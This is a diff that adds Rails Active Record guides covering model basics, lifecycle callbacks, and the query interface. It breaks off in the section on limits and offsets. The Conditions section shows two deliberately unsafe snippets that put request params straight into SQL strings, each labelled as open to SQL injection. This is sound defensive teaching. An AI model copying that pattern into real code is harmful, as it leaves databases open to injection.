+```ruby
+class Product < ActiveRecord::Base
+ self.table_name = "PRODUCT"
+end
+```
+
+If you do so, you will have to define manually the class name that is hosting
+the fixtures (class_name.yml) using the `set_fixture_class` method in your test
+definition:
+
+```ruby
+class FunnyJoke < ActiveSupport::TestCase
+ set_fixture_class funny_jokes: 'Joke'
+ fixtures :funny_jokes
+ ...
+end
+```
+
+It's also possible to override the column that should be used as the table's
+primary key using the `ActiveRecord::Base.set_primary_key` method:
+
+```ruby
+class Product < ActiveRecord::Base
+ set_primary_key "product_id"
+end
+```
+
+CRUD: Reading and Writing Data
+------------------------------
+
+CRUD is an acronym for the four verbs we use to operate on data: **C**reate,
+**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods
+to allow an application to read and manipulate data stored within its tables.
+
+### Create
+
+Active Record objects can be created from a hash, a block or have their
+attributes manually set after creation. The `new` method will return a new
+object while `create` will return the object and save it to the database.
+
+For example, given a model `User` with attributes of `name` and `occupation`,
+the `create` method call will create and save a new record into the database:
+
+```ruby
+user = User.create(name: "David", occupation: "Code Artist")
+```
+
+Using the `new` method, an object can be instantiated without being saved:
+
+```ruby
+user = User.new
+user.name = "David"
+user.occupation = "Code Artist"
+```
+
+A call to `user.save` will commit the record to the database.
+
+Finally, if a block is provided, both `create` and `new` will yield the new
+object to that block for initialization:
+
+```ruby
+user = User.new do |u|
+ u.name = "David"
+ u.occupation = "Code Artist"
+end
+```
+
+### Read
+
+Active Record provides a rich API for accessing data within a database. Below
+are a few examples of different data access methods provided by Active Record.
+
+```ruby
+# return a collection with all users
+users = User.all
+```
+
+```ruby
+# return the first user
+user = User.first
+```
+
+```ruby
+# return the first user named David
+david = User.find_by_name('David')
+```
+
+```ruby
+# find all users named David who are Code Artists and sort by created_at in reverse chronological order
+users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC')
+```
+
+You can learn more about querying an Active Record model in the [Active Record
+Query Interface](active_record_querying.html) guide.
+
+### Update
+
+Once an Active Record object has been retrieved, its attributes can be modified
+and it can be saved to the database.
+
+```ruby
+user = User.find_by_name('David')
+user.name = 'Dave'
+user.save
+```
+
+A shorthand for this is to use a hash mapping attribute names to the desired
+value, like so:
+
+```ruby
+user = User.find_by_name('David')
+user.update(name: 'Dave')
+```
+
+This is most useful when updating several attributes at once. If, on the other
+hand, you'd like to update several records in bulk, you may find the
+`update_all` class method useful:
+
+```ruby
+User.update_all "max_login_attempts = 3, must_change_password = 'true'"
+```
+
+### Delete
+
+Likewise, once retrieved an Active Record object can be destroyed which removes
+it from the database.
+
+```ruby
+user = User.find_by_name('David')
+user.destroy
+```
+
+Validations
+-----------
+
+Active Record allows you to validate the state of a model before it gets written
+into the database. There are several methods that you can use to check your
+models and validate that an attribute value is not empty, is unique and not
+already in the database, follows a specific format and many more.
+
+Validation is a very important issue to consider when persisting to database, so
+the methods `create`, `save` and `update` take it into account when
+running: they return `false` when validation fails and they didn't actually
+perform any operation on database. All of these have a bang counterpart (that
+is, `create!`, `save!` and `update!`), which are stricter in that
+they raise the exception `ActiveRecord::RecordInvalid` if validation fails.
+A quick example to illustrate:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+User.create # => false
+User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+```
+
+You can learn more about validations in the [Active Record Validations
+guide](active_record_validations.html).
+
+Callbacks
+---------
+
+Active Record callbacks allow you to attach code to certain events in the
+life-cycle of your models. This enables you to add behavior to your models by
+transparently executing code when those events occur, like when you create a new
+record, update it, destroy it and so on. You can learn more about callbacks in
+the [Active Record Callbacks guide](active_record_callbacks.html).
+
+Migrations
+----------
+
+Rails provides a domain-specific language for managing a database schema called
+migrations. Migrations are stored in files which are executed against any
+database that Active Record support using `rake`. Here's a migration that
+creates a table:
+
+```ruby
+class CreatePublications < ActiveRecord::Migration
+ def change
+ create_table :publications do |t|
+ t.string :title
+ t.text :description
+ t.references :publication_type
+ t.integer :publisher_id
+ t.string :publisher_type
+ t.boolean :single_issue
+
+ t.timestamps
+ end
+ add_index :publications, :publication_type_id
+ end
+end
+```
+
+Rails keeps track of which files have been committed to the database and
+provides rollback features. To actually create the table, you'd run `rake db:migrate`
+and to roll it back, `rake db:rollback`.
+
+Note that the above code is database-agnostic: it will run in MySQL, postgresql,
+Oracle and others. You can learn more about migrations in the [Active Record
+Migrations guide](migrations.html)
diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md
new file mode 100644
index 0000000..bb42fab
--- /dev/null
+++ b/guides/source/active_record_callbacks.md
@@ -0,0 +1,358 @@
+Active Record Callbacks
+=======================
+
+This guide teaches you how to hook into the life cycle of your Active Record
+objects.
+
+After reading this guide, you will know:
+
+* The life cycle of Active Record objects.
+* How to create callback methods that respond to events in the object life cycle.
+* How to create special classes that encapsulate common behavior for your callbacks.
+
+--------------------------------------------------------------------------------
+
+The Object Life Cycle
+---------------------
+
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
+
+Callbacks allow you to trigger logic before or after an alteration of an object's state.
+
+Callbacks Overview
+------------------
+
+Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.
+
+### Callback Registration
+
+In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :login, :email, presence: true
+
+ before_validation :ensure_login_has_a_value
+
+ protected
+ def ensure_login_has_a_value
+ if login.nil?
+ self.login = email unless email.blank?
+ end
+ end
+end
+```
+
+The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:
+
+```ruby
+class User < ActiveRecord::Base
+ validates :login, :email, presence: true
+
+ before_create do |user|
+ user.name = user.login.capitalize if user.name.blank?
+ end
+end
+```
+
+Callbacks can also be registered to only fire on certain lifecycle events:
+
+```ruby
+class User < ActiveRecord::Base
+ before_validation :normalize_name, on: :create
+
+ # :on takes an array as well
+ after_validation :set_location, on: [ :create, :update ]
+
+ protected
+ def normalize_name
+ self.name = self.name.downcase.titleize
+ end
+
+ def set_location
+ self.location = LocationService.query(self)
+ end
+end
+```
+
+It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.
+
+Available Callbacks
+-------------------
+
+Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:
+
+### Creating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_create`
+* `around_create`
+* `after_create`
+* `after_save`
+
+### Updating an Object
+
+* `before_validation`
+* `after_validation`
+* `before_save`
+* `around_save`
+* `before_update`
+* `around_update`
+* `after_update`
+* `after_save`
+
+### Destroying an Object
+
+* `before_destroy`
+* `around_destroy`
+* `after_destroy`
+
+WARNING. `after_save` runs both on create and update, but always _after_ the more specific callbacks `after_create` and `after_update`, no matter the order in which the macro calls were executed.
+
+### `after_initialize` and `after_find`
+
+The `after_initialize` callback will be called whenever an Active Record object is instantiated, either by directly using `new` or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record `initialize` method.
+
+The `after_find` callback will be called whenever Active Record loads a record from the database. `after_find` is called before `after_initialize` if both are defined.
+
+The `after_initialize` and `after_find` callbacks have no `before_*` counterparts, but they can be registered just like the other Active Record callbacks.
+
+```ruby
+class User < ActiveRecord::Base
+ after_initialize do |user|
+ puts "You have initialized an object!"
+ end
+
+ after_find do |user|
+ puts "You have found an object!"
+ end
+end
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+```
+
+Running Callbacks
+-----------------
+
+The following methods trigger callbacks:
+
+* `create`
+* `create!`
+* `decrement!`
+* `destroy`
+* `destroy!`
+* `destroy_all`
+* `increment!`
+* `save`
+* `save!`
+* `save(validate: false)`
+* `toggle!`
+* `update_attribute`
+* `update`
+* `update!`
+* `valid?`
+
+Additionally, the `after_find` callback is triggered by the following finder methods:
+
+* `all`
+* `first`
+* `find`
+* `find_by_*`
+* `find_by_*!`
+* `find_by_sql`
+* `last`
+
+The `after_initialize` callback is triggered every time a new object of the class is initialized.
+
+NOTE: The `find_by_*` and `find_by_*!` methods are dynamic finders generated automatically for every attribute. Learn more about them at the [Dynamic finders section](active_record_querying.html#dynamic-finders)
+
+Skipping Callbacks
+------------------
+
+Just as with validations, it is also possible to skip callbacks. These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.
+
+* `decrement`
+* `decrement_counter`
+* `delete`
+* `delete_all`
+* `increment`
+* `increment_counter`
+* `toggle`
+* `touch`
+* `update_column`
+* `update_columns`
+* `update_all`
+* `update_counters`
+
+Halting Execution
+-----------------
+
+As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.
+
+The whole callback chain is wrapped in a transaction. If any _before_ callback method returns exactly `false` or raises an exception, the execution chain gets halted and a ROLLBACK is issued; _after_ callbacks can only accomplish that by raising an exception.
+
+WARNING. Raising an arbitrary exception may break code that expects `save` and its friends not to fail like that. The `ActiveRecord::Rollback` exception is thought precisely to tell Active Record a rollback is going on. That one is internally captured but not reraised.
+
+Relational Callbacks
+--------------------
+
+Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many posts. A user's posts should be destroyed if the user is destroyed. Let's add an `after_destroy` callback to the `User` model by way of its relationship to the `Post` model:
+
+```ruby
+class User < ActiveRecord::Base
+ has_many :posts, dependent: :destroy
+end
+
+class Post < ActiveRecord::Base
+ after_destroy :log_destroy_action
+
+ def log_destroy_action
+ puts 'Post destroyed'
+ end
+end
+
+>> user = User.first
+=> #<User id: 1>
+>> user.posts.create!
+=> #<Post id: 1, user_id: 1>
+>> user.destroy
+Post destroyed
+=> #<User id: 1>
+```
+
+Conditional Callbacks
+---------------------
+
+As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the `:if` and `:unless` options, which can take a symbol, a string, a `Proc` or an `Array`. You may use the `:if` option when you want to specify under which conditions the callback **should** be called. If you want to specify the conditions under which the callback **should not** be called, then you may use the `:unless` option.
+
+### Using `:if` and `:unless` with a `Symbol`
+
+You can associate the `:if` and `:unless` options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the `:if` option, the callback won't be executed if the predicate method returns false; when using the `:unless` option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that s [...]
+
+```ruby
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, if: :paid_with_card?
+end
+```
+
+### Using `:if` and `:unless` with a String
+
+You can also use a string that will be evaluated using `eval` and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:
+
+```ruby
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number, if: "paid_with_card?"
+end
+```
+
+### Using `:if` and `:unless` with a `Proc`
+
+Finally, it is possible to associate `:if` and `:unless` with a `Proc` object. This option is best suited when writing short validation methods, usually one-liners:
+
+```ruby
+class Order < ActiveRecord::Base
+ before_save :normalize_card_number,
+ if: Proc.new { |order| order.paid_with_card? }
+end
+```
+
+### Multiple Conditions for Callbacks
+
+When writing conditional callbacks, it is possible to mix both `:if` and `:unless` in the same callback declaration:
+
+```ruby
+class Comment < ActiveRecord::Base
+ after_create :send_email_to_author, if: :author_wants_emails?,
+ unless: Proc.new { |comment| comment.post.ignore_comments? }
+end
+```
+
+Callback Classes
+----------------
+
+Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.
+
+Here's an example where we create a class with an `after_destroy` callback for a `PictureFile` model:
+
+```ruby
+class PictureFileCallbacks
+ def after_destroy(picture_file)
+ if File.exists?(picture_file.filepath)
+ File.delete(picture_file.filepath)
+ end
+ end
+end
+```
+
+When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:
+
+```ruby
+class PictureFile < ActiveRecord::Base
+ after_destroy PictureFileCallbacks.new
+end
+```
+
+Note that we needed to instantiate a new `PictureFileCallbacks` object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:
+
+```ruby
+class PictureFileCallbacks
+ def self.after_destroy(picture_file)
+ if File.exists?(picture_file.filepath)
+ File.delete(picture_file.filepath)
+ end
+ end
+end
+```
+
+If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object.
+
+```ruby
+class PictureFile < ActiveRecord::Base
+ after_destroy PictureFileCallbacks
+end
+```
+
+You can declare as many callbacks as you want inside your callback classes.
+
+Transaction Callbacks
+---------------------
+
+There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.
+
+Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error.
+
+```ruby
+PictureFile.transaction do
+ picture_file_1.destroy
+ picture_file_2.save!
+end
+```
+
+By using the `after_commit` callback we can account for this case.
+
+```ruby
+class PictureFile < ActiveRecord::Base
+ after_commit :delete_picture_file_from_disk, :on => [:destroy]
+
+ def delete_picture_file_from_disk
+ if File.exist?(filepath)
+ File.delete(filepath)
+ end
+ end
+end
+```
+
+NOTE: the `:on` option specifies when a callback will be fired. If you
+don't supply the `:on` option the callback will fire for every action.
+
+The `after_commit` and `after_rollback` callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
new file mode 100644
index 0000000..2589acc
--- /dev/null
+++ b/guides/source/active_record_querying.md
@@ -0,0 +1,1694 @@
+Active Record Query Interface
+=============================
+
+This guide covers different ways to retrieve data from the database using Active Record.
+
+After reading this guide, you will know:
+
+* How to find records using a variety of methods and conditions.
+* How to specify the order, retrieved attributes, grouping, and other properties of the found records.
+* How to use eager loading to reduce the number of database queries needed for data retrieval.
+* How to use dynamic finders methods.
+* How to check for the existence of particular records.
+* How to perform various calculations on Active Record models.
+* How to run EXPLAIN on relations.
+
+--------------------------------------------------------------------------------
+
+If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models use `id` as the primary key, unless specified otherwise.
+
+```ruby
+class Client < ActiveRecord::Base
+ has_one :address
+ has_many :orders
+ has_and_belongs_to_many :roles
+end
+```
+
+```ruby
+class Address < ActiveRecord::Base
+ belongs_to :client
+end
+```
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :client, counter_cache: true
+end
+```
+
+```ruby
+class Role < ActiveRecord::Base
+ has_and_belongs_to_many :clients
+end
+```
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+Retrieving Objects from the Database
+------------------------------------
+
+To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
+
+The methods are:
+
+* `bind`
+* `create_with`
+* `eager_load`
+* `extending`
+* `from`
+* `group`
+* `having`
+* `includes`
+* `joins`
+* `limit`
+* `lock`
+* `none`
+* `offset`
+* `order`
+* `preload`
+* `readonly`
+* `references`
+* `reorder`
+* `reverse_order`
+* `select`
+* `distinct`
+* `uniq`
+* `where`
+
+All of the above methods return an instance of `ActiveRecord::Relation`.
+
+The primary operation of `Model.find(options)` can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run `after_find` callbacks, if any.
+
+### Retrieving a Single Object
+
+Active Record provides five different ways of retrieving a single object.
+
+#### Using a Primary Key
+
+Using `Model.find(primary_key)`, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
+
+```ruby
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+# => #<Client id: 10, first_name: "Ryan">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
+```
+
+`Model.find(primary_key)` will raise an `ActiveRecord::RecordNotFound` exception if no matching record is found.
+
+#### `take`
+
+`Model.take` retrieves a record without any implicit ordering. For example:
+
+```ruby
+client = Client.take
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 1
+```
+
+`Model.take` returns `nil` if no record is found and no exception will be raised.
+
+TIP: The retrieved record may vary depending on the database engine.
+
+#### `first`
+
+`Model.first` finds the first record ordered by the primary key. For example:
+
+```ruby
+client = Client.first
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+```
+
+`Model.first` returns `nil` if no matching record is found and no exception will be raised.
+
+#### `last`
+
+`Model.last` finds the last record ordered by the primary key. For example:
+
+```ruby
+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+```
+
+`Model.last` returns `nil` if no matching record is found and no exception will be raised.
+
+#### `find_by`
+
+`Model.find_by` finds the first record matching some conditions. For example:
+
+```ruby
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+```
+
+It is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'Lifo').take
+```
+
+#### `take!`
+
+`Model.take!` retrieves a record without any implicit ordering. For example:
+
+```ruby
+client = Client.take!
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 1
+```
+
+`Model.take!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `first!`
+
+`Model.first!` finds the first record ordered by the primary key. For example:
+
+```ruby
+client = Client.first!
+# => #<Client id: 1, first_name: "Lifo">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
+```
+
+`Model.first!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `last!`
+
+`Model.last!` finds the last record ordered by the primary key. For example:
+
+```ruby
+client = Client.last!
+# => #<Client id: 221, first_name: "Russel">
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+```
+
+`Model.last!` raises `ActiveRecord::RecordNotFound` if no matching record is found.
+
+#### `find_by!`
+
+`Model.find_by!` finds the first record matching some conditions. It raises `ActiveRecord::RecordNotFound` if no matching record is found. For example:
+
+```ruby
+Client.find_by! first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by! first_name: 'Jon'
+# => ActiveRecord::RecordNotFound
+```
+
+It is equivalent to writing:
+
+```ruby
+Client.where(first_name: 'Lifo').take!
+```
+
+### Retrieving Multiple Objects
+
+#### Using Multiple Primary Keys
+
+`Model.find(array_of_primary_key)` accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example:
+
+```ruby
+# Find the clients with primary keys 1 and 10.
+client = Client.find([1, 10]) # Or even Client.find(1, 10)
+# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+```
+
+WARNING: `Model.find(array_of_primary_key)` will raise an `ActiveRecord::RecordNotFound` exception unless a matching record is found for **all** of the supplied primary keys.
+
+#### take
+
+`Model.take(limit)` retrieves the first number of records specified by `limit` without any explicit ordering:
+
+```ruby
+Client.take(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+ #<Client id: 2, first_name: "Raf">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients LIMIT 2
+```
+
+#### first
+
+`Model.first(limit)` finds the first number of records specified by `limit` ordered by primary key:
+
+```ruby
+Client.first(2)
+# => [#<Client id: 1, first_name: "Lifo">,
+ #<Client id: 2, first_name: "Raf">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY id ASC LIMIT 2
+```
+
+#### last
+
+`Model.last(limit)` finds the number of records specified by `limit` ordered by primary key in descending order:
+
+```ruby
+Client.last(2)
+# => [#<Client id: 10, first_name: "Ryan">,
+ #<Client id: 9, first_name: "John">]
+```
+
+The SQL equivalent of the above is:
+
+```sql
+SELECT * FROM clients ORDER BY id DESC LIMIT 2
+```
+
+### Retrieving Multiple Objects in Batches
+
+We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data.
+
+This may appear straightforward:
+
+```ruby
+# This is very inefficient when the users table has thousands of rows.
+User.all.each do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+But this approach becomes increasingly impractical as the table size increases, since `User.all.each` instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available.
+
+Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, `find_each`, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, `find_in_batches`, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models.
+
+TIP: The `find_each` and `find_in_batches` methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option.
+
+#### `find_each`
+
+The `find_each` method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, `find_each` will retrieve 1000 records (the current default for both `find_each` and `find_in_batches`) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed:
+
+```ruby
+User.find_each do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+##### Options for `find_each`
+
+The `find_each` method accepts most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_each`.
+
+Two additional options, `:batch_size` and `:start`, are available as well.
+
+**`:batch_size`**
+
+The `:batch_size` option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000:
+
+```ruby
+User.find_each(batch_size: 5000) do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+**`:start`**
+
+By default, records are fetched in ascending order of the primary key, which must be an integer. The `:start` option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint.
+
+For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000:
+
+```ruby
+User.find_each(start: 2000, batch_size: 5000) do |user|
+ NewsLetter.weekly_deliver(user)
+end
+```
+
+Another example would be if you wanted multiple workers handling the same processing queue. You could have each worker handle 10000 records by setting the appropriate `:start` option on each worker.
+
+#### `find_in_batches`
+
+The `find_in_batches` method is similar to `find_each`, since both retrieve batches of records. The difference is that `find_in_batches` yields _batches_ to the block as an array of models, instead of individually. The following example will yield to the supplied block an array of up to 1000 invoices at a time, with the final block containing any remaining invoices:
+
+```ruby
+# Give add_invoices an array of 1000 invoices at a time
+Invoice.find_in_batches(include: :invoice_lines) do |invoices|
+ export.add_invoices(invoices)
+end
+```
+
+NOTE: The `:include` option allows you to name associations that should be loaded alongside with the models.
+
+##### Options for `find_in_batches`
+
+The `find_in_batches` method accepts the same `:batch_size` and `:start` options as `find_each`, as well as most of the options allowed by the regular `find` method, except for `:order` and `:limit`, which are reserved for internal use by `find_in_batches`.
+
+Conditions
+----------
+
+The `where` method allows you to specify conditions to limit the records returned, representing the `WHERE`-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+### Pure String Conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like `Client.where("orders_count = '2'")`. This will find all clients where the `orders_count` field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, `Client.where("first_name LIKE '%#{params[:first_name]}%'")` is not safe. See the next section for the preferred way to handle conditions using an array.
+
+### Array Conditions
+
+Now what if that number could vary, say as an argument from somewhere? The find would then take the form:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks `(?)` in the first element.
+
+If you want to specify multiple conditions:
+
+```ruby
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+```
+
+In this example, the first question mark will be replaced with the value in `params[:orders]` and the second will be replaced with the SQL representation of `false`, which depends on the adapter.
+
+This code is highly preferable:
+
+```ruby
+Client.where("orders_count = ?", params[:orders])
+```
+
+to this code:
+
+```ruby
+Client.where("orders_count = #{params[:orders]}")
+```
+
+because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
+
+#### Placeholder Conditions
+
+Similar to the `(?)` replacement style of params, you can also specify keys/values hash in your array conditions:
+
+```ruby
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+ {start_date: params[:start_date], end_date: params[:end_date]})
+```
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+### Hash Conditions
+
+Active Record also allows you to pass in hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+#### Equality Conditions
+
+```ruby
+Client.where(locked: true)
+```
+
+The field name can also be a string:
+
+```ruby
+Client.where('locked' => true)
+```
+
+In the case of a belongs_to relationship, an association key can be used to specify the model if an Active Record object is used as the value. This method works with polymorphic relationships as well.
+
+```ruby
+Post.where(author: author)
+Author.joins(:posts).where(posts: {author: author})
+```
+
+NOTE: The values cannot be symbols. For example, you cannot do `Client.where(status: :active)`.
+
+#### Range Conditions
+
+```ruby
+Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+```
+
+This will find all clients created yesterday by using a `BETWEEN` SQL statement:
+
+```sql
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+```
+
+This demonstrates a shorter syntax for the examples in [Array Conditions](#array-conditions)
+
+#### Subset Conditions
+
+If you want to find records using the `IN` expression you can pass an array to the conditions hash:
+
+```ruby
+Client.where(orders_count: [1,3,5])
+```
+
+This code will generate SQL like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+```
+
+### NOT Conditions
+
+`NOT` SQL queries can be built by `where.not`.
+
+```ruby
+Post.where.not(author: author)
+```
+
+In other words, this query can be generated by calling `where` with no argument, then immediately chain with `not` passing `where` conditions.
+
+Ordering
+--------
+
+To retrieve records from the database in a specific order, you can use the `order` method.
+
+For example, if you're getting a set of records and want to order them in ascending order by the `created_at` field in your table:
+
+```ruby
+Client.order("created_at")
+```
+
+You could specify `ASC` or `DESC` as well:
+
+```ruby
+Client.order("created_at DESC")
+# OR
+Client.order("created_at ASC")
+```
+
+Or ordering by multiple fields:
+
+```ruby
+Client.order("orders_count ASC, created_at DESC")
+# OR
+Client.order("orders_count ASC", "created_at DESC")
+```
+
+If you want to call `order` multiple times e.g. in different context, new order will prepend previous one
+
+```ruby
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY created_at DESC, orders_count ASC
+```
+
+Selecting Specific Fields
+-------------------------
+
+By default, `Model.find` selects all the fields from the result set using `select *`.
+
+To select only a subset of fields from the result set, you can specify the subset via the `select` method.
+
+For example, to select only `viewable_by` and `locked` columns:
+
+```ruby
+Client.select("viewable_by, locked")
+```
+
+The SQL query used by this find call will be somewhat like:
+
+```sql
+SELECT viewable_by, locked FROM clients
+```
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+```bash
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+```
+
+Where `<attribute>` is the attribute you asked for. The `id` method will not raise the `ActiveRecord::MissingAttributeError`, so just be careful when working with associations because they need the `id` method to function properly.
+
+If you would like to only grab a single record per unique value in a certain field, you can use `distinct`:
+
+```ruby
+Client.select(:name).distinct
+```
+
+This would generate SQL like:
+
+```sql
+SELECT DISTINCT name FROM clients
+```
+
+You can also remove the uniqueness constraint:
+
+```ruby
+query = Client.select(:name).distinct
+# => Returns unique names
+
+query.distinct(false)
+# => Returns all names, even if there are duplicates
+```
+
+Limit and Offset
+----------------
+
+To apply `LIMIT` to the SQL fired by the `Model.find`, you can specify the `LIMIT` using `limit` and `offset` methods on the relation.
+
+You can use `limit` to specify the number of records to be retrieved, and use `offset` to specify the number of records to skip before starting to return the records. For example
+
+```ruby
+Client.limit(5)
+```
+
+will return a maximum of 5 clients and because it specifies no offset it will return the first 5 in the table. The SQL it executes looks like this:
+
+```sql
+SELECT * FROM clients LIMIT 5
+```
+
+Adding `offset` to that
+
+```ruby
+Client.limit(5).offset(30)
+```
+
